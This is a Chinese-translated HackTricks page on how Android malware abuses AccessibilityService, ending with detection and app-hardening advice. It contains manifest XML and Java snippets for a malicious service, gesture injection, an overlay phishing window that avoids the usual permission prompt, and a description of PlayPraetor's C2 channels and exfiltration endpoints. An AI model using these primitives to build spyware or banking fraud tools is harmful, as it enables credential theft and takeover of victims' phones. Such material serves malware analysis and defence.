Android Accessibility Service Abuse

Reading time: 7 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

概述

AccessibilityService 的创建是为了帮助残疾用户与 Android 设备进行交互。不幸的是,同样的 强大自动化 API(全局导航、文本输入、手势分发、覆盖窗口……)可以被恶意软件武器化,以在 无需 root 权限 的情况下获得 完全远程控制 手机的能力。

现代 Android 银行木马和远程访问木马(RAT)如 PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda 等等遵循相同的步骤:

  1. 通过社交工程让受害者启用一个恶意的辅助功能服务(BIND_ACCESSIBILITY_SERVICE 权限被视为“高风险”,并需要用户的明确操作)。
  2. 利用该服务来
  • 捕获屏幕上出现的每个 UI 事件和文本,
  • 注入合成手势(dispatchGesture)和全局操作(performGlobalAction)以自动化操作员所需的任何任务,
  • 在合法应用程序上方绘制全屏覆盖,使用 TYPE_ACCESSIBILITY_OVERLAY 窗口类型(没有 SYSTEM_ALERT_WINDOW 提示!),
  • 代表受害者点击系统对话框,静默授予额外的运行时权限。
  1. 在用户查看完全正常的屏幕时,实时提取数据或执行 On-Device-Fraud (ODF)

请求权限

xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

伴随的 XML 定义了假对话框的外观:

xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

远程 UI 自动化原语

java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

仅凭这两个API,攻击者可以:

  • 解锁屏幕,打开银行应用,浏览其UI树并提交转账表单。
  • 接受每个弹出的权限对话框。
  • 通过Play Store意图安装/更新额外的APK。

滥用模式

1. 悬浮钓鱼(凭证收集)

一个透明或不透明的 WebView 被添加到窗口管理器:

java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

受害者在假表单中输入凭据,而后台应用接收相同的手势——从未显示可疑的“在其他应用上绘制”提示。

详细示例:Accessibility Overlay Phishing部分在Tapjacking页面内。

2. 设备内欺诈自动化

恶意软件家族如PlayPraetor维护一个持久的WebSocket通道,操作员可以发出高级命令(initupdatealert_arrreport_list,……)。该服务将这些命令转换为上述低级手势,实现实时未经授权的交易,轻松绕过与该设备相关的多因素身份验证。

3. 屏幕流媒体与监控

通过将MediaProjection API与RTMP客户端库结合,RAT可以将实时帧缓冲区广播到rtmp://<c2>:1935/live/<device_id>,使对手在Accessibility引擎驱动UI时获得完美的情境意识。


PlayPraetor – 命令与控制工作流程

  1. HTTP(S) 心跳 – 遍历硬编码列表,直到一个域以活动C2响应POST /app/searchPackageName
  2. WebSocket (端口 8282) – 双向JSON命令:
  • update – 推送新配置/APK
  • alert_arr – 配置覆盖模板
  • report_list – 发送目标包名称列表
  • heartbeat_web – 保持连接
  1. RTMP (端口 1935) – 实时屏幕/视频流媒体。
  2. REST 外泄
  • /app/saveDevice(指纹)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd(银行凭据)

AccessibilityService是将这些云命令转换为物理交互的本地引擎。


检测恶意无障碍服务

  • adb shell settings get secure enabled_accessibility_services
  • 设置 → 无障碍 → 已下载服务 – 查找不是来自Google Play的应用。
  • MDM / EMM解决方案可以强制执行ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY(Android 13+)以阻止侧载服务。
  • 分析正在运行的服务:
bash
adb shell dumpsys accessibility | grep "Accessibility Service"

应用开发者的加固建议

  • android:accessibilityDataSensitive="accessibilityDataPrivateYes"标记敏感视图(API 34+)。
  • setFilterTouchesWhenObscured(true)FLAG_SECURE结合使用,以防止点击/覆盖劫持。
  • 通过轮询WindowManager.getDefaultDisplay().getFlags()ViewRootImpl API检测覆盖。
  • Settings.canDrawOverlays() 非信任的无障碍服务处于活动状态时拒绝操作。

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks